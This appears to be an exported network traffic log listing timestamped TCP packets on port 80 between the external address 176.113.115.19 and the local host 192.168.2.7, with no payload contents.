Jan 8, 2025 09:42:32.993491888 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993496895 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993505955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993518114 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993530035 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993530989 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993541002 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993546963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993558884 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993560076 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993571997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993583918 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993590117 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993596077 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993608952 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993611097 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993634939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993634939 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993647099 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993659019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993665934 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993670940 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993690014 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993702888 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993716955 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993726015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993738890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993745089 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993756056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993767977 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993778944 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993793011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:32.993804932 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993804932 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993804932 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993804932 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:32.993839025 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.028070927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028086901 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028100014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028111935 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028176069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028187990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028197050 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.028199911 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028213024 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028229952 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.028244972 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.028275013 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.028367043 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028378010 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028389931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028403044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028417110 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.028419971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028428078 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.028448105 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028453112 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.028465033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028471947 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.028476000 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028487921 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.028491020 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.028510094 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.028584957 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.040724993 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040735960 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040747881 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040760040 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040776968 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040786028 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.040806055 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.040819883 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.040831089 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040846109 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040874958 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.040883064 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.040920973 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040932894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040944099 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040956974 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040968895 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.040968895 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040982962 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.040993929 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.040994883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.041008949 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.041018963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.041032076 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.041042089 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.041047096 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.041054010 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.041066885 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.041069984 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.041079044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.041093111 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.041094065 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.041102886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.041105986 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.041140079 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.078603029 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078617096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078629017 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078640938 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078654051 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078665972 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078674078 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.078680038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078691959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078694105 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.078706026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078706026 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.078717947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078727007 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.078730106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078742981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078752041 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.078757048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.078782082 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.078800917 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079020977 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079034090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079047918 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079058886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079077005 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079077959 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079077959 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079108000 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079530001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079551935 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079565048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079576015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079579115 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079593897 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079606056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079607010 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079617977 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079629898 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079631090 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079643965 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079669952 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079675913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079688072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079699039 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079699993 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079710960 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079713106 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079722881 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079732895 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079735994 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079745054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079756975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079761982 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079770088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079778910 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079802990 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.079947948 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079961061 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079972029 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079982042 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079993010 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.079999924 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080003977 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080014944 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080018997 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080027103 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080035925 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080038071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080049038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080055952 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080081940 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080086946 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080097914 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080105066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080108881 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080121040 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080132008 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080132961 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080154896 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080156088 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080168009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080178976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080180883 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080192089 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080207109 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080218077 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080245972 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080389023 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080399990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080410004 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080421925 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080432892 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080435991 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080445051 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080456972 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080466032 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080467939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080480099 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080487967 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080495119 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080507994 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080507994 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080519915 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080519915 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080530882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080544949 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080548048 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080555916 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080566883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080574989 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080578089 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080589056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080595970 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080602884 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080624104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080624104 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080630064 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080636978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080662966 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080674887 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080789089 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080816984 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080827951 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080845118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080847979 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080854893 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080857038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080867052 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080873966 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080878973 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080890894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080890894 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080902100 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080914974 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080921888 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080926895 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080938101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.080941916 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080966949 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.080986977 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.114861012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.114875078 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.114897013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.114909887 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.114922047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.114933968 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.114933968 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.114947081 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.114959002 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.114965916 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.114985943 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.114995956 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.115130901 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.115143061 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.115185022 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.115278959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.115295887 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.115318060 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.115325928 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.115331888 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.115344048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.115355015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.115361929 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.115391016 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.115410089 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127242088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127255917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127278090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127291918 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127310991 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127317905 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127330065 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127338886 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127342939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127358913 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127384901 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127393961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127418041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127429962 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127435923 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127460957 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127474070 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127494097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127512932 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127526045 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127536058 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127548933 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127549887 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127563000 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127576113 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127578974 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127587080 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127588034 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127615929 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127641916 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127700090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127712965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127727032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127738953 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.127753019 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127768993 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.127788067 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.167227030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.167239904 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.167251110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.167263031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.167277098 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.167289019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.167299986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.167331934 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.167371988 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.168081999 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168092012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168102980 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168117046 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168129921 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168133974 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.168147087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168158054 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.168168068 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168178082 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.168179989 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168193102 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168215036 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.168232918 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.168518066 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168529987 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168540955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168555021 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168566942 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168570995 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.168577909 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168591022 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168597937 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.168602943 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168621063 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.168642998 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.168668032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168685913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.168697119 CET	80	49703	176.113.115.19	192.168.2.7
